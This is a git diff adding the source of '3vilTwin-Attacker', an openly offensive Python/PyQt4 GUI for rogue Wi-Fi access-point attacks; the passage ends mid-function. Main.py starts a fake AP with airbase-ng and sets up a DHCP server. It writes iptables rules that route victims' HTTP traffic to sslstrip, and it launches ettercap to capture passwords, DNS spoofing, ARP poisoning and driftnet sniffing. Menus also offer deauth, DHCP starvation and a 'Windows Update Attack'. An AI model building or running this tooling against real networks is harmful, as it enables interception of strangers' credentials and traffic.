diff --git a/3vilTwin-Attacker.py b/3vilTwin-Attacker.py new file mode 100755 index 0000000..7bf719c --- /dev/null +++ b/3vilTwin-Attacker.py @@ -0,0 +1,26 @@ +#! /usr/bin/python +from sys import argv,exit +from os import getuid +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from Core.check_privilege import frm_privelege +from Core.Main import frmControl +from Core.check import check_dependencies +if __name__ == '__main__': + if not getuid() == 0: + app2 = QApplication(argv) + priv = frm_privelege() + priv.setWindowIcon(QIcon('rsc/icon.ico')) + priv.setWindowFlags(priv.windowFlags() | Qt.WindowMaximizeButtonHint) + priv.show() + exit(app2.exec_()) + else: + check_dependencies() + root = QApplication(argv) + app = frmControl(None) + app.setWindowIcon(QIcon('rsc/icon.ico')) + app.center() + app.show() + root.exec_() + + diff --git a/Core/Main.py b/Core/Main.py new file mode 100644 index 0000000..d2adcdd --- /dev/null +++ b/Core/Main.py @@ -0,0 +1,446 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from shutil import move +from time import sleep +from platform import dist +from re import search +from os import geteuid,mkdir,system,path,getcwd,chdir,remove,popen +from sys import argv +if search("/usr/share/",argv[0]): + chdir("/usr/share/3vilTwinAttacker/") +from Modules.DHCPstarvation import frm_dhcp_Attack,frm_dhcp_main +from Modules.deauth_func import frm_window +from Modules.mac_change_func import frm_mac_generator +from Modules.Probe_func import frm_PMonitor +from Modules.Dns_Func import frm_dnsspoof +from Modules.networksdisc import frm_GetIP +from Modules.AttackUp import frm_update_attack +from Core.check import check_dependencies +from Core.check_privilege import frm_privelege +from Core.Settings import frm_Settings +from Modules.AttackUp import frm_WinSoftUp +from Core.update import frm_Update +from Modules.arps_Posion import frm_Arp_Poison +__author__ = ' @mh4x0f P0cl4bs Team' +__version__= "0.5.9" +__date_create__= "18/01/2015" +__update__="29/03/2015" + +class frmControl(QMainWindow): + def __init__(self, parent=None): + super(frmControl, self).__init__(parent) + self.form_widget = frm_main(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("3vilTwin-Attacker v" + __version__) + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + +class frm_main(QWidget): + def __init__(self, parent = None): + super(frm_main, self).__init__(parent) + self.create_sys_tray() + self.Main = QVBoxLayout() + self.config = frm_Settings() + self.module_arp = frm_Arp_Poison() + self.intGUI() + self.setGeometry(0, 0, 300, 400) + self.interface = "mon0" + + def intGUI(self): + self.myQMenuBar = QMenuBar(self) + self.myQMenuBar.setFixedWidth(400) + Menu_file = self.myQMenuBar.addMenu('&File') + action_settings = QAction('Settings',self) + action_settings.setShortcut("Ctrl+X") + action_settings.triggered.connect(self.show_settings) + exitAction = QAction('Exit', self) + exitAction.triggered.connect(exit) + Menu_file.addAction(exitAction) + Menu_tools = self.myQMenuBar.addMenu('&Tools') + + etter_conf = QAction("Edit Etter.dns", self) + etter_conf.setShortcut("Ctrl+U") + dns_spoof = QAction("Active Dns Spoof", self) + dns_spoof.setShortcut("Ctrl+D") + ettercap = QAction("Active Ettercap", self) + ettercap.setShortcut("Ctrl+E") + ssl = QAction("Active Sslstrip ", self) + ssl.setShortcut("Ctrl+S") + btn_drift = QAction("Active DriftNet", self) + btn_drift.setShortcut("Ctrl+Y") + + etter_conf.triggered.connect(self.Edit_etter) + dns_spoof.triggered.connect(self.start_dns) + ettercap.triggered.connect(self.start_etter) + ssl.triggered.connect(self.start_ssl) + btn_drift.triggered.connect(self.start_dift) + + Menu_tools.addAction(etter_conf) + Menu_tools.addAction(dns_spoof) + Menu_tools.addAction(ettercap) + Menu_tools.addAction(ssl) + Menu_tools.addAction(btn_drift) + + Menu_module = self.myQMenuBar.addMenu("&Modules") + btn_deauth = QAction("Deauth Attack", self) + btn_deauth.setShortcut("Ctrl+W") + btn_probe = QAction("Probe Request",self) + btn_probe.setShortcut("Ctrl+K") + btn_mac = QAction("Mac Changer", self) + btn_mac.setShortcut("Ctrl+M") + btn_ip_list = QAction("Device FingerPrint", self) + btn_ip_list.setShortcut("Ctrl+G") + btn_dhcpStar = QAction("DHCP S. Attack",self) + btn_dhcpStar.setShortcut("Ctrl+H") + btn_dns = QAction("DNS Spoof M.",self) + btn_dns.setShortcut("Ctrl+T") + btn_winup = QAction("Windows Update Attack ",self) + btn_winup.setShortcut("Ctrl+N") + btn_arp = QAction("Arp Posion Attack",self) + btn_arp.setShortcut("ctrl+Q") + + + #icons Modules + action_settings.setIcon(QIcon("rsc/setting.png")) + btn_arp.setIcon(QIcon("rsc/arp_.png")) + btn_winup.setIcon(QIcon("rsc/arp.png")) + btn_dns.setIcon(QIcon("rsc/dns.png")) + btn_dhcpStar.setIcon(QIcon("rsc/dhcp.png")) + btn_ip_list.setIcon(QIcon("rsc/scan.png")) + btn_mac.setIcon(QIcon("rsc/mac.png")) + btn_probe.setIcon(QIcon("rsc/probe.png")) + btn_deauth.setIcon(QIcon("rsc/deauth.png")) + # icons tools + dns_spoof.setIcon(QIcon("rsc/dns_spoof.png")) + ettercap.setIcon(QIcon("rsc/ettercap.png")) + ssl.setIcon(QIcon("rsc/ssl.png")) + etter_conf.setIcon(QIcon("rsc/etter.png")) + btn_drift.setIcon(QIcon("rsc/capture.png")) + + btn_probe.triggered.connect(self.showProbe) + btn_deauth.triggered.connect(self.newwindow) + btn_mac.triggered.connect(self.form_mac) + btn_ip_list.triggered.connect(self.form_list) + btn_dhcpStar.triggered.connect(self.show_dhcpDOS) + btn_dns.triggered.connect(self.show_dnsManager) + btn_winup.triggered.connect(self.show_windows_update) + btn_arp.triggered.connect(self.show_arp_posion) + + Menu_module.addAction(btn_deauth) + Menu_module.addAction(btn_probe) + Menu_module.addAction(btn_mac) + Menu_module.addAction(btn_ip_list) + Menu_module.addAction(btn_dhcpStar) + Menu_module.addAction(btn_dns) + Menu_module.addAction(btn_winup) + Menu_module.addAction(btn_arp) + Menu_module.addAction(action_settings) + + Menu_extra= self.myQMenuBar.addMenu("&Extra") + Menu_about = QAction("About",self) + Menu_help = QAction("Help",self) + Menu_update = QAction("Update",self) + + #icons extra + Menu_about.setIcon(QIcon("rsc/about.png")) + Menu_help.setIcon(QIcon("rsc/report.png")) + Menu_update.setIcon(QIcon("rsc/update.png")) + + Menu_about.triggered.connect(self.about) + Menu_update.triggered.connect(self.show_update) + + Menu_extra.addAction(Menu_update) + Menu_extra.addAction(Menu_about) + + self.input_gw = QLineEdit(self) + self.input_AP = QLineEdit(self) + self.input_canal = QLineEdit(self) + self.w = QComboBox(self) + + self.mod_import = frm_dhcp_Attack() + self.config.xmlSettings("local0","ipaddress",str(self.mod_import.get_ip_local(None)),False) + gw = self.module_arp.get_geteway() + if gw != None: + self.config.xmlSettings("local1","gateway",gw[0],False) + x = self.config.xmlSettings("local1", "gateway",None,False) + self.input_gw.setText(x) + + self.input_AP.setText("Example AP") + self.input_canal.setText("11") + + n = self.mod_import.placa() + for i,j in enumerate(n): + if search("wlan", j): + self.w.addItem(n[i]) + if not path.isfile("Modules/Win-Explo/Windows_Update/Settins_WinUpdate.html"): + system("cp Settings/source.tar.gz Modules/Win-Explo/") + system('cd Modules/Win-Explo/ && tar -xf source.tar.gz') + remove("Modules/Win-Explo/source.tar.gz") + + driftnet = popen("which driftnet").read().split("\n") + ettercap = popen("which ettercap").read().split("\n") + sslstrip = popen("which sslstrip").read().split("\n") + xterm = popen("which xterm").read().split("\n") + dhcpd = popen("which dhcpd").read().split("\n") + lista = [ "/usr/sbin/airbase-ng", ettercap[0], sslstrip[0],xterm[0],driftnet[0]] + self.m = [] + for i in lista: + self.m.append(path.isfile(i)) + self.form = QFormLayout() + hLine = QFrame() + hLine.setFrameStyle(QFrame.HLine) + hLine.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) + hLine2 = QFrame() + hLine2.setFrameStyle(QFrame.HLine) + hLine2.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) + vbox = QVBoxLayout() + vbox.setMargin(5) + vbox.addStretch(20) + self.form.addRow(vbox) + + self.logo = QPixmap(getcwd() + "/rsc/logo.png") + self.label_imagem = QLabel() + self.label_imagem.setPixmap(self.logo) + self.form.addRow(self.label_imagem) + + self.form.addRow("Gateway:", self.input_gw) + self.form.addRow("AP Name:", self.input_AP) + self.form.addRow("Channel:", self.input_canal) + #self.form.addRow("Network Card List:", self.w) + + # grid network adapter fix + self.btrn_refresh = QPushButton("Refresh") + self.btrn_refresh.setIcon(QIcon("rsc/refresh.png")) + self.btrn_refresh.clicked.connect(self.refrash_interface) + self.grid = QGridLayout() + self.grid.addWidget(QLabel("Network Adapter:"),0,0) + self.grid.addWidget(self.w, 0,1) + self.grid.addWidget(self.btrn_refresh,0,2) + + self.btn_start_attack = QPushButton("Start Attack", self) + self.btn_start_attack.setIcon(QIcon("rsc/start.png")) + self.btn_start_attack.setFixedWidth(160) + self.btn_cancelar = QPushButton("Stop Attack", self) + self.btn_cancelar.setIcon(QIcon("rsc/Stop.png")) + self.btn_cancelar.setFixedWidth(165) + self.btn_cancelar.clicked.connect(self.kill) + self.btn_start_attack.clicked.connect(self.start_air) + + + self.dialogTextBrowser = frm_window(self) + self.form2 = QFormLayout() + self.form2.addRow(self.btn_start_attack, self.btn_cancelar) + self.listbox = QListWidget(self) + self.listbox.setFixedHeight(200) + + self.form2.addRow(self.listbox) + self.Main.addLayout(self.form) + self.Main.addLayout(self.grid) + self.Main.addLayout(self.form2) + self.setLayout(self.Main) + + def show_update(self): + self.n = frm_Update() + self.n.show() + + def show_arp_posion(self): + self.n = frm_Arp_Poison() + self.n.setGeometry(0, 0, 450, 300) + self.n.show() + + def show_settings(self): + self.n = frm_Settings() + self.n.show() + + def show_windows_update(self): + self.n = frm_update_attack() + self.n.setGeometry(QRect(100, 100, 450, 300)) + self.n.show() + + def show_dnsManager(self): + self.n = frm_dnsspoof() + self.n.setGeometry(QRect(100, 100, 450, 200)) + self.n.show() + + def show_dhcpDOS(self): + self.n = frm_dhcp_main() + self.n.setGeometry(QRect(100, 100, 450, 200)) + self.n.show() + + def showProbe(self): + self.p = frm_PMonitor() + self.p.setGeometry(QRect(100, 100, 400, 200)) + self.p.show() + + def newwindow(self): + self.w = frm_window() + self.w.setGeometry(QRect(100, 100, 200, 200)) + self.w.show() + + def form_mac(self): + self.w = frm_mac_generator() + self.w.setGeometry(QRect(100, 100, 300, 100)) + self.w.show() + + def form_list(self): + self.w = frm_GetIP() + self.w.setGeometry(QRect(100, 100, 450, 300)) + self.w.show() + + def refrash_interface(self): + self.w.clear() + n = self.mod_import.placa() + for i,j in enumerate(n): + if search("wlan", j): + self.w.addItem(n[i]) + def kill(self): + nano = ["echo \"0\" > /proc/sys/net/ipv4/ip_forward","iptables --flush", "iptables --table nat --flush" ,\ + "iptables --delete-chain", "iptables --table nat --delete-chain", \ + "airmon-ng stop mon0" , "rm Settings/confiptables.sh" , \ + "ifconfig lo down","ifconfig at0 down &"] + for delete in nano: + system(delete) + self.listbox.clear() + system("killall xterm") + QMessageBox.information(self,"Clear Setting", "Log CLear success ") + system("clear") + + def start_etter(self): + if self.m[1] != False: + system("sudo xterm -geometry 73x25-1+50 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w passwords -i at0 & ettercapid=$!") + def start_ssl(self): + if self.m[2] != False: + system("sudo xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -k -l 10000 & sslstripid=$!") + def start_dns(self): + if self.m[1] != False: + system("sudo xterm -geometry 73x25-1+250 -T DNSSpoof -e ettercap -P dns_spoof -T -q -M arp // // -i at0 & dnscapid=$!") + def start_dift(self): + if self.m[4] != False: + system("sudo xterm -geometry 75x15+1+200 -T DriftNet -e driftnet -i at0 & driftnetid=$!") + + def configure(self): + + self.listbox.addItem("{+} Setting dhcpd Server...") + self.configuradhcp = open("Settings/dhcpd.conf","w") + self.configuradhcp.write("""authoritative; +default-lease-time 600; +max-lease-time 7200; +subnet 10.0.0.0 netmask 255.255.255.0 { +option routers 10.0.0.1; +option subnet-mask 255.255.255.0; +option domain-name "%s"; +option domain-name-servers 10.0.0.1; +range 10.0.0.20 10.0.0.50; +}"""%(self.input_AP.text())) + self.listbox.addItem("{+} Configure Network Fake Dhcp...") + if path.isfile("/etc/dhcp/dhcpd.conf"): + system("rm /etc/dhcp/dhcpd.conf") + move("Settings/dhcpd.conf", "/etc/dhcp/") + else: + move("Settings/dhcpd.conf", "/etc/dhcp/") + self.listbox.addItem("{+} Setting interface at0 Network...") + self.conf_iptables = open("Settings/confiptables.sh", "w") + self.conf_iptables.write("""echo "[+] Setting iptables..." +ifconfig lo up +ifconfig at0 up & +sleep 1 +ifconfig at0 10.0.0.1 netmask 255.255.255.0 +ifconfig at0 mtu 1400 +route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 +iptables --flush +iptables --table nat --flush +iptables --delete-chain +iptables --table nat --delete-chain +echo 1 > /proc/sys/net/ipv4/ip_forward +iptables -t nat -A PREROUTING -p udp -j DNAT --to %s +iptables -P FORWARD ACCEPT +iptables --append FORWARD --in-interface at0 -j ACCEPT +iptables --table nat --append POSTROUTING --out-interface %s -j MASQUERADE +iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 +iptables --table nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s +iptables -t nat -A POSTROUTING -j MASQUERADE +echo "[+] Startup DHCP..." +touch /var/run/dhcpd.pid +sudo dhcpd -d -f -cf \"/etc/dhcp/dhcpd.conf\" at0 +sleep 3 +"""%(self.input_gw.text(),self.w.currentText(),str(self.mod_import.get_ip_local(None)))) + self.conf_iptables.close() + self.listbox.addItem("{+} Add Getway Interface DNET...") + self.listbox.addItem("{+} SET POSTROUTING MASQUEREDE...") + self.listbox.addItem("{+} Add REDIRECT port 10000 Iptables...") + self.listbox.addItem("{+} IPtables Set with success...") + system("chmod +x Settings/confiptables.sh") + system("xterm -geometry 75x15+1+250 -e 'bash -c \"./Settings/confiptables.sh; exec bash\"' & configure=$!") + self.configuradhcp.close() + def start_air(self): + dot = 1 + self.listbox.clear() + if self.w.currentText() == "": + QMessageBox.information(self,"Error", "Network interface not supported :(") + else: + if path.exists("Settings/"): + print(":::") + if not geteuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + dot = 0 + else: + mkdir("Settings") + dot = 0 + if dot == 1: + system("airmon-ng start %s" %(self.w.currentText())) + self.listbox.addItem("{+} Start airmon-ng %s"%self.w.currentText()) + system("sudo xterm -geometry 75x15+1+0 -T \"Fake AP - %s - Statup\" -e airbase-ng -c %s -e \"%s\" %s & fakeapid=$!"""%(self.interface,self.input_canal.text(),self.input_AP.text(),self.interface)) + sleep(5) + self.configure() + self.listbox.addItem("{+} Done") + + def Edit_etter(self): + n = dist() + if n[0] == "Ubuntu": + system("xterm -e nano /etc/ettercap/etter.dns") + elif n[0] == "debian": + system("xterm -e nano /usr/share/ettercap/etter.dns") + else: + QMessageBox.information(self,"Error", "Path etter.dns not found") + + def create_sys_tray(self): + self.sysTray = QSystemTrayIcon(self) + self.sysTray.setIcon(QIcon('rsc/icon.ico')) + self.sysTray.setVisible(True) + self.connect(self.sysTray, SIGNAL("activated(QSystemTrayIcon::ActivationReason)"), self.on_sys_tray_activated) + + self.sysTrayMenu = QMenu(self) + act = self.sysTrayMenu.addAction("FOO") + + def on_sys_tray_activated(self, reason): + if reason == 3: + self.showNormal() + elif reason == 2: + self.showMinimized() + def about(self): + QMessageBox.about(self, self.tr("About 3vilTiwn Attacker"), + self.tr( + "Version:%s\n" + "Update:%s\n" + "Emails: \np0cL4bs@gmail.com\n" + "mh4root@gmail.com\n\n" + "The MIT License (MIT)\n" + "Author:%s\n" + "Copyright(c) 2015\n"% ( __version__, __update__, __author__))) diff --git a/Core/Settings.py b/Core/Settings.py new file mode 100644 index 0000000..3ce4d22 --- /dev/null +++ b/Core/Settings.py @@ -0,0 +1,221 @@ +from PyQt4.QtGui import * +from xml.dom import minidom + +class frm_Settings(QDialog): + def __init__(self, parent = None): + super(frm_Settings, self).__init__(parent) + self.setWindowTitle("Settings 3vilTwinAttacker") + self.Main = QVBoxLayout() + self.frm = QFormLayout() + self.setGeometry(0, 0, 400, 300) + self.center() + self.loadtheme(self.XmlThemeSelected()) + self.Qui() + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def XmlThemeSelected(self): + theme = self.xmlSettings("themes", "selected",None,False) + return theme + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def xmlSettings(self,id,data,bool,show): + xmldoc = minidom.parse('Settings/Settings.xml') + country = xmldoc.getElementsByTagName(id) + firstchild = country[0] + if bool != None: + firstchild.attributes[data].value = bool + if show == True: + print "---------------------------" + print "Settings:" + data + "=>"+ firstchild.attributes[data].value + print "---------------------------" + xmldoc.writexml( open('Settings/Settings.xml', 'w')) + + return firstchild.attributes[data].value + + def save_settings(self): + if self.d_scapy.isChecked(): + self.xmlSettings("item1","deauth_mdk3","False",False) + self.xmlSettings("item0","deauth_scapy","True",False) + elif self.d_mdk.isChecked(): + self.xmlSettings("item0","deauth_scapy","False",False) + self.xmlSettings("item1","deauth_mdk3","True",False) + if self.scan_scapy.isChecked(): + self.xmlSettings("monitor1", "scan_airodump", "False",False) + self.xmlSettings("monitor0", "scan_scapy", "True", False) + elif self.scan_airodump.isChecked(): + self.xmlSettings("monitor0", "scan_scapy", "False", False) + self.xmlSettings("monitor1", "scan_airodump", "True",False) + if self.dhcp1.isChecked(): + self.xmlSettings("item3","dnsmasq","False",False) + self.xmlSettings("item2","iscdhcpserver","True",False) + elif self.dhcp2.isChecked(): + self.xmlSettings("item2","iscdhcpserver","False",False) + self.xmlSettings("item3","dnsmasq","True",False) + if self.theme1.isChecked(): + self.xmlSettings("themes","selected","theme1",False) + QMessageBox.information(self,"select theme","You need to restart the app 3viltwinAttacker") + elif self.theme2.isChecked(): + self.xmlSettings("themes","selected","theme2",False) + QMessageBox.information(self,"select theme","You need to restart the app 3viltwinAttacker") + if self.scan1.isChecked(): + self.xmlSettings("advanced","Function_scan","Ping",False) + elif self.scan2.isChecked(): + self.xmlSettings("advanced","Function_scan","Nmap",False) + self.txt_arguments.setText(self.xmlSettings("mdk3", "arguments", str(self.txt_arguments.text()), False)) + self.txt_ranger.setText(self.xmlSettings("scan","rangeIP",str(self.txt_ranger.text()),False)) + self.close() + + + def Qui(self): + self.form = QFormLayout(self) + self.tabcontrol = QTabWidget(self) + self.tab1 = QWidget(self) + self.tab2 = QWidget(self) + + self.txt_ranger = QLineEdit(self) + self.txt_arguments = QLineEdit(self) + self.page_1 = QFormLayout(self.tab1) + self.page_1.maximumSize() + self.page_2 = QFormLayout(self.tab2) + self.tabcontrol.addTab(self.tab1, "General") + self.tabcontrol.addTab(self.tab2, "Advanced") + + self.title0 = QLabel("Configure deauth Attacker:") + self.title1 = QLabel("Configure Dhcp Attacker:") + self.title2 = QLabel("mdk3 Arguments:") + self.title3 = QLabel("Configure Scan diveces Attacker:") + self.title4 = QLabel("3vilTwinAttacker Themes:") + self.title5 = QLabel("Configure Range ARP Posion:") + + self.title6 = QLabel("Thread ScanIP:") + + self.title0.isTopLevel() + self.btn_save = QPushButton("Save") + self.btn_save.clicked.connect(self.save_settings) + self.btn_save.setFixedWidth(80) + #icons + self.btn_save.setIcon(QIcon("rsc/Save.png")) + + self.GruPag1=QButtonGroup() + self.GruPag2=QButtonGroup() + self.GruPag3=QButtonGroup() + self.GruPag4=QButtonGroup() + + self.Grup2Page1 = QButtonGroup() + + + #page 1 + self.d_scapy = QRadioButton("Scapy Deauth") + self.d_mdk = QRadioButton("mdk3 Deauth") + self.scan_scapy = QRadioButton("Scan from scapy") + self.scan_airodump = QRadioButton("Scan from airodump-ng") + self.dhcp1 = QRadioButton("iscdhcpserver") + self.dhcp2 = QRadioButton("DNSmasq") + self.dhcp2.setDisabled(True) + self.theme1 = QRadioButton("theme Dark Orange") + self.theme2 = QRadioButton("theme Dark blur") + + #page 2 + self.scan1 = QRadioButton("Ping Scan:: Very fast scan IP") + self.scan2 = QRadioButton("Python-Nmap:: Get hostname from IP") + + #grup page 1 + self.GruPag1.addButton(self.d_scapy) + self.GruPag1.addButton(self.d_mdk) + self.GruPag2.addButton(self.dhcp1) + self.GruPag2.addButton(self.dhcp2) + self.GruPag3.addButton(self.scan_scapy) + self.GruPag3.addButton(self.scan_airodump) + self.GruPag4.addButton(self.theme1) + self.GruPag4.addButton(self.theme2) + + # grup page 2 + self.Grup2Page1.addButton(self.scan1) + self.Grup2Page1.addButton(self.scan2) + + + self.scapy_check = self.xmlSettings("item0","deauth_scapy",None,False) + self.mdk3_check = self.xmlSettings("item1","deauth_mdk3",None,False) + self.scan_scapy_check = self.xmlSettings("monitor0", "scan_scapy", None, False) + self.scan_air_check = self.xmlSettings("monitor1", "scan_airodump", None,False) + self.dhcp1_check = self.xmlSettings("item2", "iscdhcpserver", None, False) + self.dhcp2_check = self.xmlSettings("item3", "dnsmasq", None, False) + self.txt_ranger.setText(self.xmlSettings("scan", "rangeIP", None, False)) + self.txt_arguments.setText(self.xmlSettings("mdk3", "arguments", None, False)) + + self.scanIP_selected = self.xmlSettings("advanced","Function_scan",None,False) + if self.scanIP_selected == "Ping": + self.scan1.setChecked(True) + self.scan2.setChecked(False) + elif self.scanIP_selected == "Nmap": + self.scan2.setChecked(True) + self.scan1.setChecked(False) + + if not self.scapy_check == "True": + if not self.mdk3_check == "False": + self.d_mdk.setChecked(True) + else: + self.d_scapy.setChecked(True) + + if not self.dhcp1_check == "True": + if not self.dhcp2_check == "False": + self.dhcp2.setChecked(True) + else: + self.dhcp1.setChecked(True) + + if not self.scan_scapy_check == "True": + if not self.scan_air_check == "False": + self.scan_airodump.setChecked(True) + else: + self.scan_scapy.setChecked(True) + + self.theme_selected = self.xmlSettings("themes", "selected", None, False) + if self.theme_selected == "theme1": + self.theme1.setChecked(True) + else: + self.theme2.setChecked(True) + + self.page_1.addWidget(self.title0) + self.page_1.addWidget(self.d_scapy) + self.page_1.addWidget(self.d_mdk) + + self.page_1.addWidget(self.title3) + self.page_1.addWidget(self.scan_scapy) + self.page_1.addWidget(self.scan_airodump) + + self.page_1.addWidget(self.title2) + self.page_1.addWidget(self.txt_arguments) + + self.page_1.addWidget(self.title1) + self.page_1.addWidget(self.dhcp1) + self.page_1.addWidget(self.dhcp2) + + self.page_1.addWidget(self.title5) + self.page_1.addWidget(self.txt_ranger) + + self.page_1.addWidget(self.title4) + self.page_1.addWidget(self.theme1) + self.page_1.addWidget(self.theme2) + + #page 2 + self.page_2.addWidget(self.title6) + self.page_2.addWidget(self.scan1) + self.page_2.addWidget(self.scan2) + + self.form.addRow(self.tabcontrol) + self.form.addRow(self.btn_save) + self.Main.addLayout(self.form) + self.setLayout(self.Main) diff --git a/Core/Settings_fuc.py b/Core/Settings_fuc.py new file mode 100644 index 0000000..f102c78 --- /dev/null +++ b/Core/Settings_fuc.py @@ -0,0 +1,159 @@ +from PyQt4.QtGui import * +from xml.dom import minidom +class frm_Settings(QDialog): + def __init__(self, parent = None): + super(frm_Settings, self).__init__(parent) + self.setWindowTitle("Settings 3vilTwinAttacker") + self.Main = QVBoxLayout() + self.frm = QFormLayout() + self.setGeometry(0, 0, 400, 300) + self.center() + sshFile="Core/dark_style.css" + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + self.Qui() + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def xmlSettings(self,id,data,bool,show): + xmldoc = minidom.parse('Settings/Settings.xml') + country = xmldoc.getElementsByTagName(id) + firstchild = country[0] + if bool != None: + firstchild.attributes[data].value = bool + if show == True: + print "---------------------------" + print "Settings:" + data + "=>"+ firstchild.attributes[data].value + print "---------------------------" + xmldoc.writexml( open('Settings/Settings.xml', 'w')) + + return firstchild.attributes[data].value + + def save_settings(self): + if self.d_scapy.isChecked(): + self.xmlSettings("item1","deauth_mdk3","False",False) + self.xmlSettings("item0","deauth_scapy","True",False) + elif self.d_mdk.isChecked(): + self.xmlSettings("item0","deauth_scapy","False",False) + self.xmlSettings("item1","deauth_mdk3","True",False) + if self.scan_scapy.isChecked(): + self.xmlSettings("monitor1", "scan_airodump", "False",False) + self.xmlSettings("monitor0", "scan_scapy", "True", False) + elif self.scan_airodump.isChecked(): + self.xmlSettings("monitor0", "scan_scapy", "False", False) + self.xmlSettings("monitor1", "scan_airodump", "True",False) + if self.dhcp1.isChecked(): + self.xmlSettings("item3","dnsmasq","False",False) + self.xmlSettings("item2","iscdhcpserver","True",False) + elif self.dhcp2.isChecked(): + self.xmlSettings("item2","iscdhcpserver","False",False) + self.xmlSettings("item3","dnsmasq","True",False) + self.txt_arguments.setText(self.xmlSettings("mdk3", "arguments", str(self.txt_arguments.text()), False)) + self.txt_ranger.setText(self.xmlSettings("scan","rangeIP",str(self.txt_ranger.text()),False)) + self.deleteLater() + + def Qui(self): + self.tabcontrol = QTabWidget(self) + self.tab1 = QWidget(self) + self.tab2 = QWidget(self) + + self.txt_arguments = QLineEdit(self) + self.txt_ranger = QLineEdit(self) + self.page_1 = QFormLayout(self.tab1) + self.page_1.maximumSize() + self.page_2 = QFormLayout(self.tab2) + self.tabcontrol.addTab(self.tab1, "General") + self.tabcontrol.addTab(self.tab2, "Advanced") + + self.title = QLabel("Configure deauth Attacker:") + self.title1 = QLabel("Configure Dhcp Attacker:") + self.title3 = QLabel("Configure Range ARP Posion:") + self.title4 = QLabel("Configure Scan diveces Attacker:") + self.title2 = QLabel("mdk3 Arguments:") + self.title.isTopLevel() + self.btn_save = QPushButton("Save") + self.btn_save.clicked.connect(self.save_settings) + self.btn_save.setFixedWidth(80) + + #icons + self.btn_save.setIcon(QIcon("rsc/Save.png")) + + self.grup1=QButtonGroup() + self.grup2=QButtonGroup() + self.grup3=QButtonGroup() + + self.d_scapy = QRadioButton("Scapy Deauth") + self.d_mdk = QRadioButton("mdk3 Deauth") + self.scan_scapy = QRadioButton("Scan from scapy") + self.scan_airodump = QRadioButton("Scan from airodump-ng") + + self.dhcp1 = QRadioButton("iscdhcpserver") + self.dhcp2 = QRadioButton("DNSmasq") + self.dhcp2.setDisabled(True) + + self.grup1.addButton(self.d_scapy) + self.grup1.addButton(self.d_mdk) + self.grup3.addButton(self.scan_scapy) + self.grup3.addButton(self.scan_airodump) + + self.grup2.addButton(self.dhcp1) + self.grup2.addButton(self.dhcp2) + + + + + self.scapy_check = self.xmlSettings("item0","deauth_scapy",None,False) + self.mdk3_check = self.xmlSettings("item1","deauth_mdk3",None,False) + + self.scan_scapy_check = self.xmlSettings("monitor0", "scan_scapy", None, False) + self.scan_air_check = self.xmlSettings("monitor1", "scan_airodump", None,False) + + self.dhcp1_check = self.xmlSettings("item2", "iscdhcpserver", None, False) + self.dhcp2_check = self.xmlSettings("item3", "dnsmasq", None, False) + self.txt_arguments.setText(self.xmlSettings("mdk3", "arguments", None, False)) + self.txt_ranger.setText(self.xmlSettings("scan", "rangeIP", None, False)) + + if not self.scapy_check == "True": + if not self.mdk3_check == "False": + self.d_mdk.setChecked(True) + else: + self.d_scapy.setChecked(True) + + if not self.dhcp1_check == "True": + if not self.dhcp2_check == "False": + self.dhcp2.setChecked(True) + else: + self.dhcp1.setChecked(True) + + if not self.scan_scapy_check == "True": + if not self.scan_air_check == "False": + self.scan_airodump.setChecked(True) + else: + self.scan_scapy.setChecked(True) + + self.page_1.addWidget(self.title) + self.page_1.addWidget(self.d_scapy) + self.page_1.addWidget(self.d_mdk) + self.page_1.addWidget(self.title4) + self.page_1.addWidget(self.scan_scapy) + self.page_1.addWidget(self.scan_airodump) + + self.page_1.addWidget(self.title2) + self.page_1.addWidget(self.txt_arguments) + + self.page_1.addWidget(self.title1) + self.page_1.addWidget(self.dhcp1) + self.page_1.addWidget(self.dhcp2) + + self.page_1.addWidget(self.title3) + self.page_1.addWidget(self.txt_ranger) + + + self.page_1.addWidget(self.btn_save) + self.next = QLabel("wait... next version :)") + self.page_2.addWidget(self.next) + self.Main.addWidget(self.tabcontrol) + self.setLayout(self.Main) diff --git a/Core/__init__.py b/Core/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Core/__init__.py @@ -0,0 +1 @@ + diff --git a/Core/check.py b/Core/check.py new file mode 100644 index 0000000..111d0c8 --- /dev/null +++ b/Core/check.py @@ -0,0 +1,56 @@ +from os import path,popen +GREEN = '\033[32m' +YELLOW = '\033[33m' +RED = '\033[91m' +ENDC = '\033[0m' +def dhcp_install(): + print 'Pleace Necessary install dhcpd' + print '==============================' + print '>>> Solution Ubuntu' + print '~#sudo apt-get install isc-dhcp-server' + print '\n' + print '>>> Solution Debian wheezy' + print '~# echo "deb http://ftp.de.debian.org/debian wheezy main " >> /etc/apt/sources.list' + print '~# apt-get update && apt-get install isc-dhcp-server' + +def check_dependencies(): + ettercap = popen("which ettercap").read().split("\n") + 